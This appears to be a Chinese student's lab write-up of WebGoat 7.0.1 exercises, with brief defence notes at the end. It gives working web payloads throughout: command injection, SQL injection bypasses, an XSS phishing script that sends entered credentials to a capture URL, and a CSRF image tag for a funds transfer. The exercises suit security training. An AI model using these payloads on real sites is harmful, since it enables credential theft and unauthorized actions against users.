进入https://github.com/WebGoat/WebGoat/releases?after=8.0.0网站html
下载 webgoat-container-7.0.1-war-exec.jarjava
输入java -jar webgoat-container-7.0.1-war-exec.jar
安装jar包git
览器登录http://localhost:8080/WebGoat
网站
github
选择 Injection Flaws -> Command Injection
右键页面中复选框,选择inspect
Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"web
点击 view,看到网络端口使用状况和 IP 地址,攻击成功
sql
Goal:The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed.浏览器
右键点击复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1
安全
Goal:The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed.cookie
输入查询的用户名' or 1=1--
网络
Goal:Use String SQL Injection to bypass authentication.
在密码框右键选择inspect Element审查网页元素对长度进行修改
在密码框输入' or 1=1 --
编写一个带用户名和密码输入框的表格
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
将两段代码合并后,在 XSS - > Phishing with XSS搜索上面代码,在显示的表单中输入用户名和密码,登陆后WebGoat会将输入的信息捕获并反馈给咱们
在code框输入<script>alert("20165219");</script>
点击purchase,则会弹出窗口,内容是括号里的串
在massage部分插入jsp代码,代码会被浏览器解析成html的内容
在message窗口输入<script>alert("wyb");</script>
,说明攻击成功
在Message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=303&menu=900&transferFunds=10000" width="1" height="1" />
SQL注入攻击原理,如何防护
检查输入数据类型和格式
XSS攻击的原理,如何防护
在表单提交或者url参数传递前,对须要的参数进行过滤。检查用户输入的内容中是否有非法内容
CSRF攻击原理,如何防护
经过referer、token或者验证码来检测用户提交 避免全站通用的cookie,严格设置cookie的域